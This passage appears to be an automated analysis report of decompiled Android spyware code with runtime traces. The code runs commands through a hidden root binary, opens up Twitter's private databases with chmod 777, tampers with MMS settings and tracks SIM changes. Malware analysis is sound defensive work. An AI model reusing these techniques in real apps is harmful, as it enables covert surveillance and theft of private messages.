      27invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      29invoke-static {v2}, Lcom/network/h/b;->b(Ljava/io/File;)I
      30move-result v4
      31new-instance v3, Ljava/lang/StringBuilder;
      33const-string v5, "export LD_LIBRARY_PATH=/vendor/lib:/system/lib; chmod 0666 "
      35invoke-direct {v3, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      37invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      38move-result-object v3
      40invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      41move-result-object v3
      43invoke-static {v3}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      45invoke-virtual {v2}, Ljava/io/File;->length()J
      46move-result-wide v5
      47long-to-int v3, v5
      48new-array v5, v3, [C
      49new-instance v3, Ljava/io/FileReader;
      51invoke-direct {v3, v2}, Ljava/io/FileReader;-><init>(Ljava/io/File;)V
      52try_end_47:
      53invoke-virtual {v3, v5}, Ljava/io/FileReader;->read([C)I
      55invoke-virtual {v3}, Ljava/io/FileReader;->close()V
      56new-instance v2, Ljava/lang/String;
      58invoke-direct {v2, v5}, Ljava/lang/String;-><init>([C)V
      60const-string v5, "\"pref_key_service_loading_action\">.*</string>"
      62const-string v6, "\"pref_key_service_loading_action\">Always</string>"
      64invoke-virtual {v2, v5, v6}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      65move-result-object v2
      67const-string v5, "\"pref_key_enable_push_message\" value=\"false\""
      69const-string v6, "\"pref_key_enable_push_message\" value=\"true\""
      71invoke-virtual {v2, v5, v6}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      72move-result-object v5
      73new-instance v2, Ljava/io/FileWriter;
      75invoke-direct {v2, v0}, Ljava/io/FileWriter;-><init>(Ljava/lang/String;)V
      76try_end_67:
      77invoke-virtual {v2, v5}, Ljava/io/FileWriter;->write(Ljava/lang/String;)V
      79invoke-virtual {v2}, Ljava/io/FileWriter;->close()V
      81sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
      83const-string v5, "JPKJ2"
      85invoke-virtual {v1, v5}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      86move-result v1
      87if-nez v1, :cond_7c
      89const-string v1, "export LD_LIBRARY_PATH=/vendor/lib:/system/lib; am force-stop com.android.mms"
      91invoke-static {v1}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      92cond_7c: const/4 v1, -0x1
      93if-eq v1, v4, :cond_b3
      94const/16 v1, 0x8
      96invoke-static {v4, v1}, Ljava/lang/Integer;->toString(II)Ljava/lang/String;
      97move-result-object v1
      98new-instance v4, Ljava/lang/StringBuilder;
      100const-string v5, "chmod "
      102invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      104invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      105move-result-object v1
      107const-string v4, " "
      109invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      110move-result-object v1
      112invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      113move-result-object v0
      115invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      116move-result-object v0
      117new-instance v1, Ljava/lang/StringBuilder;
      119const-string v4, "WapHandler changeWapSettings running command: "
      121invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      123invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      124move-result-object v1
      126invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      127move-result-object v1
      129invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      131invoke-static {v0}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      132cond_b3:
      133const-string v0, "WapHandler changeWapSettings end"
      135invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      136try_end_b8: goto/16 :goto_18
      137catch_ba: move-exception v0
      138move-object v1, v2
      139move-object v2, v3
      140goto_bd: new-instance v3, Ljava/lang/StringBuilder;
      142const-string v4, "WapHandler changeWapSettings Throwable- "
      144invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      146invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      147move-result-object v4
      149invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      150move-result-object v3
      152invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      153move-result-object v3
      155invoke-static {v3, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      156if-eqz v2, :cond_d8
      157try_start_d5:
      158invoke-virtual {v2}, Ljava/io/FileReader;->close()V
      159cond_d8: if-eqz v1, :cond_18
      161invoke-virtual {v1}, Ljava/io/FileWriter;->close()V
      162try_end_dd: goto/16 :goto_18
      163catch_df: move-exception v1
      164new-instance v2, Ljava/lang/StringBuilder;
      166const-string v3, "WapHandler changeWapSettings finaly Throwable- "
      168invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      170invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      171move-result-object v1
      173invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      174move-result-object v1
      176invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      177move-result-object v1
      179invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      180goto/16 :goto_18
      181catch_f8: move-exception v0
      182move-object v2, v1
      183goto/16 :goto_bd
      184catch_fb: move-exception v0
      185move-object v2, v3
      186goto/16 :goto_bd
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Runtime.getRuntime
      • java.lang.Runtime.exec
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Process.destroy
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.concurrent.TimeoutException.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Process.destroy
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Process.destroy
      • java.lang.Process.destroy
      Strings
      • /system/csk
      • runProcess my su does not exists. returning
      • runProcess start (synchronized)
      • . command:
      • runProcess cmd=
      • success:
      • fail:
      • timeout=
      • runProcess Exception-
      • runProcess Throwable-
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const-class v3, Lcom/network/android/m;
      2monitor-enter v3
      3try_start_4: new-instance v1, Ljava/io/File;
      5const-string v2, "/system/csk"
      7invoke-direct {v1, v2}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      9invoke-virtual {v1}, Ljava/io/File;->exists()Z
      • Time: 1068739
        • This:
          • /system/csk
        • Return:
          • false
      10move-result v1
      11if-nez v1, :cond_18
      13const-string v0, "runProcess my su does not exists. returning"
      15invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068754
        • p0: runProcess my su does not exists. returning
      16try_end_16: monitor-exit v3
      17return-void
      18cond_18: move v2, v0
      19goto_19: const/4 v0, 0x5
      20if-ge v2, v0, :cond_16
      21const/4 v1, 0x0
      22try_start_1d: new-instance v0, Ljava/lang/StringBuilder;
      24const-string v4, "runProcess start (synchronized)"
      26invoke-direct {v0, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      28invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      29move-result-object v0
      31const-string v4, ". command: "
      33invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v0
      36invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      37move-result-object v0
      39invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      40move-result-object v0
      42invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      44invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
      45move-result-object v0
      46const/4 v4, 0x2
      47new-array v4, v4, [Ljava/lang/String;
      48const/4 v5, 0x0
      50const-string v6, "/system/csk"
      51aput-object v6, v4, v5
      52const/4 v5, 0x1
      53aput-object p0, v4, v5
      55invoke-virtual {v0, v4}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
      56try_end_4b: move-result-object v1
      57try_start_4c:
      58invoke-static {p0, v1}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/Process;)I
      59move-result v0
      60if-nez v0, :cond_76
      61new-instance v4, Ljava/lang/StringBuilder;
      63const-string v5, "runProcess cmd="
      65invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      67invoke-virtual {v4, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      68move-result-object v4
      70const-string v5, " success: "
      72invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      73move-result-object v4
      75invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      76move-result-object v0
      78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      79move-result-object v0
      81invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      82goto_6e: if-eqz v1, :cond_16
      83try_start_70:
      84invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      85try_end_73: goto/16 :goto_16
      86catch_74: move-exception v0
      87goto/16 :goto_16
      88cond_76: new-instance v4, Ljava/lang/StringBuilder;
      90const-string v5, "runProcess cmd="
      92invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      94invoke-virtual {v4, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      95move-result-object v4
      97const-string v5, " fail: "
      99invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      100move-result-object v4
      102invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      103move-result-object v0
      105invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      106move-result-object v0
      108invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      109try_end_92: goto/16 :goto_6e
      110catch_93: move-exception v0
      111try_start_94: new-instance v4, Ljava/lang/StringBuilder;
      113const-string v5, "runProcess cmd="
      115invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      117invoke-virtual {v4, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      118move-result-object v4
      120const-string v5, " timeout="
      122invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      123move-result-object v4
      125invoke-virtual {v0}, Ljava/util/concurrent/TimeoutException;->getMessage()Ljava/lang/String;
      126move-result-object v0
      128invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      129move-result-object v0
      131invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      132move-result-object v0
      134invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      135try_end_b4: add-int/lit8 v0, v2, 0x1
      136move v2, v0
      137goto/16 :goto_19
      138catch_b9: move-exception v0
      139try_start_ba: new-instance v2, Ljava/lang/StringBuilder;
      141const-string v4, "runProcess Exception- "
      143invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      145invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      146move-result-object v4
      148invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v2
      151invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      152move-result-object v2
      154invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      155try_end_d0: if-eqz v1, :cond_16
      156try_start_d2:
      157invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      158try_end_d5: goto/16 :goto_16
      159catch_d7: move-exception v0
      160goto/16 :goto_16
      161catch_da: move-exception v0
      162try_start_db: new-instance v2, Ljava/lang/StringBuilder;
      164const-string v4, "runProcess Throwable- "
      166invoke-direct {v2, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      168invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      169move-result-object v4
      171invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v2
      174invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      175move-result-object v2
      177invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      178try_end_f1: if-eqz v1, :cond_16
      179try_start_f3:
      180invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      181try_end_f6: goto/16 :goto_16
      182catch_f8: move-exception v0
      183goto/16 :goto_16
      184catchall_fb: move-exception v0
      185if-eqz v1, :cond_101
      186try_start_fe:
      187invoke-virtual {v1}, Ljava/lang/Process;->destroy()V
      188try_end_101: throw v0
      189try_end_102: move-exception v0
      190monitor-exit v3
      191throw v0
      192catch_105: move-exception v1
      193goto/16 :goto_101
      Cross References
      APIs
      • android.content.Context.getSharedPreferences
      • android.content.Context.getSystemService
      • android.telephony.TelephonyManager.getSimSerialNumber
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.Boolean.booleanValue
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.Boolean.booleanValue
      • java.lang.String.equals
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.postDelayed
      • android.content.SharedPreferences.edit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.commit
      • java.lang.String.equals
      • java.lang.String.equals
      Strings
      • NetworkPreferences
      • phone
      • 98159064545930082411
      • BootReceiver curent Sim:
      • BootReceiver curent Sim: 98159064545930082411
      • No Sim !!
      • LOG_SIM_NOT_FOUND
      • No Sim, but we are local Installation mode
      • checkSimChange:
      • NetworkWindowSim
      • No Sim Number
      • BootReceiver last Sim:
      • BootReceiver last Sim: No Sim Number
      • BootReceiver failed to retrive last sim. use: No Sim Number
      • BootReceiver Sim Changed Old:
      • BootReceiver Sim Changed new:
      Position Instruction Meta Information
      0const/4 v1, 0x1
      1const/4 v2, 0x0
      2try_start_2:
      3const-string v0, "NetworkPreferences"
      4const/4 v3, 0x0
      6invoke-virtual {p1, v0, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      7move-result-object v4
      9const-string v0, "phone"
      11invoke-virtual {p1, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
      • Time: 1079006
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: phone
        • Return:
          • android.telephony.TelephonyManager@b81366c
      12move-result-object v0
      13check-cast v0, Landroid/telephony/TelephonyManager;
      15invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getSimSerialNumber()Ljava/lang/String;
      • Time: 1079318
        • This:
          • android.telephony.TelephonyManager@b81366c
        • Return:
          • 98159064545930082411
      16move-result-object v5
      17new-instance v0, Ljava/lang/StringBuilder;
      19const-string v3, "BootReceiver curent Sim: "
      21invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      23invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      24move-result-object v0
      26invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      27move-result-object v0
      29invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079324
        • p0: BootReceiver curent Sim: 98159064545930082411
      30if-eqz v5, :cond_2f
      32invoke-virtual {v5}, Ljava/lang/String;->length()I
      33move-result v0
      34if-nez v0, :cond_62
      35cond_2f:
      36sget-object v0, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      38invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      39move-result v0
      40if-nez v0, :cond_44
      42const-string v0, "No Sim !!"
      44invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      45const/4 v0, 0x1
      46const/4 v1, 0x7
      48const-string v2, "LOG_SIM_NOT_FOUND"
      50invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      51goto_43: return-void
      52cond_44:
      53const-string v0, "No Sim, but we are local Installation mode"
      55invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      56try_end_49: goto/16 :goto_43
      57catch_4a: move-exception v0
      58new-instance v1, Ljava/lang/StringBuilder;
      60const-string v2, "checkSimChange: "
      62invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      64invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      65move-result-object v2
      67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      68move-result-object v1
      70invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      71move-result-object v1
      73invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      74goto/16 :goto_43
      75cond_62:
      76const-string v0, "NetworkWindowSim"
      78const-string v3, "No Sim Number"
      80invoke-interface {v4, v0, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      • Time: 1079330
        • This:
          • android.app.SharedPreferencesImpl@cf05f43
        • p0: NetworkWindowSim
        • p1: No Sim Number
        • Return:
          • No Sim Number
      81move-result-object v0
      82new-instance v3, Ljava/lang/StringBuilder;
      84const-string v6, "BootReceiver last Sim: "
      86invoke-direct {v3, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      88invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      89move-result-object v3
      91invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      92move-result-object v3
      94invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079363
        • p0: BootReceiver last Sim: No Sim Number
      95if-nez v0, :cond_e9
      97const-string v0, "BootReceiver failed to retrive last sim. use: No Sim Number"
      99invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      101const-string v0, "No Sim Number"
      102move-object v3, v0
      103goto_86:
      104sget-object v0, Lcom/network/b/b;->C:Ljava/lang/Boolean;
      106invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      107move-result v0
      108if-eqz v0, :cond_d7
      110invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      111move-result v0
      112if-nez v0, :cond_d5
      113move v0, v1
      114goto_95: if-eqz v0, :cond_c7
      115new-instance v0, Ljava/lang/StringBuilder;
      117const-string v1, "BootReceiver Sim Changed Old: "
      119invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      121invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      122move-result-object v0
      124invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      125move-result-object v0
      127invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      128new-instance v0, Ljava/lang/StringBuilder;
      130const-string v1, "BootReceiver Sim Changed new: "
      132invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      134invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      135move-result-object v0
      137invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      138move-result-object v0
      140invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      142sget-object v0, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      143new-instance v1, Lcom/network/android/agent/f;
      145invoke-direct {v1, p0, p1}, Lcom/network/android/agent/f;-><init>(Lcom/network/android/agent/NetworkApp;Landroid/content/Context;)V
      146const-wide/16 v2, 0x7d0
      148invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      149cond_c7:
      150invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      151move-result-object v0
      153const-string v1, "NetworkWindowSim"
      155invoke-interface {v0, v1, v5}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      157invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
      158goto/16 :goto_43
      159cond_d5: move v0, v2
      160goto/16 :goto_95
      161cond_d7:
      162invoke-virtual {v3, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      163move-result v0
      164if-nez v0, :cond_e7
      166const-string v0, "No Sim Number"
      168invoke-virtual {v3, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      169try_end_e2: move-result v0
      170if-nez v0, :cond_e7
      171goto_e5: move v0, v1
      172goto/16 :goto_95
      173cond_e7: move v1, v2
      174goto/16 :goto_e5
      175cond_e9: move-object v3, v0
      176goto/16 :goto_86
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.regex.Pattern.pattern
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.util.LinkedList.<init>
      • java.io.File.isDirectory
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.listFiles
      • java.io.File.getName
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.util.regex.Pattern.matcher
      • java.util.regex.Matcher.matches
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.getAbsolutePath
      • java.util.List.add
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.List.size
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetContentIM getDBFilePath dbFileNamePattern :
      • twitterGetContentIM getDBFilePath dbFileNamePattern : \d{4,}+\-\d+\.db$
      • /data/data/com.twitter.android/databases/
      • chmod 777
      • GetContentIM getDBFilePath maches fileName:
      • GetContentIM getDBFilePath does not maches fileName:
      • getDBFilePath iter exception-
      • GetContentIM getDBFilePaths found
      • twitterGetContentIM getDBFilePaths found 0
      Position Instruction Meta Information
      0new-instance v0, Ljava/lang/StringBuilder;
      2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      4invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      5move-result-object v0
      7const-string v1, "GetContentIM getDBFilePath dbFileNamePattern : "
      9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v0
      12invoke-virtual {p1}, Ljava/util/regex/Pattern;->pattern()Ljava/lang/String;
      13move-result-object v1
      15invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      16move-result-object v0
      18invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      19move-result-object v0
      21invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068642
        • p0: twitterGetContentIM getDBFilePath dbFileNamePattern : \d{4,}+\-\d+\.db$
      22new-instance v0, Ljava/io/File;
      24invoke-direct {v0, p0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068645
        • This:
          • /data/data/com.twitter.android/databases
        • p0: /data/data/com.twitter.android/databases/
        • Return:
          • /data/data/com.twitter.android/databases
      25new-instance v1, Ljava/util/LinkedList;
      27invoke-direct {v1}, Ljava/util/LinkedList;-><init>()V
      29invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
      30move-result v2
      31if-eqz v2, :cond_d4
      32try_start_2e: new-instance v2, Ljava/lang/StringBuilder;
      34const-string v3, "chmod 777 "
      36invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      38invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      39move-result-object v3
      41invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v2
      44invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      45move-result-object v2
      47invoke-static {v2}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      49invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
      50move-result-object v2
      51const/4 v0, 0x0
      52goto_49: array-length v3, v2
      53if-ge v0, v3, :cond_d4
      54aget-object v3, v2, v0
      56invoke-virtual {v3}, Ljava/io/File;->getName()Ljava/lang/String;
      57move-result-object v3
      58new-instance v4, Ljava/lang/StringBuilder;
      60const-string v5, "chmod 777 "
      62invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      63aget-object v5, v2, v0
      65invoke-virtual {v5}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      66move-result-object v5
      68invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      69move-result-object v4
      71invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      72move-result-object v4
      74invoke-static {v4}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      76invoke-virtual {p1, v3}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
      77move-result-object v4
      79invoke-virtual {v4}, Ljava/util/regex/Matcher;->matches()Z
      80move-result v4
      81if-eqz v4, :cond_9a
      82new-instance v4, Ljava/lang/StringBuilder;
      84invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      86invoke-virtual {v4, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      87move-result-object v4
      89const-string v5, "GetContentIM getDBFilePath maches fileName: "
      91invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      92move-result-object v4
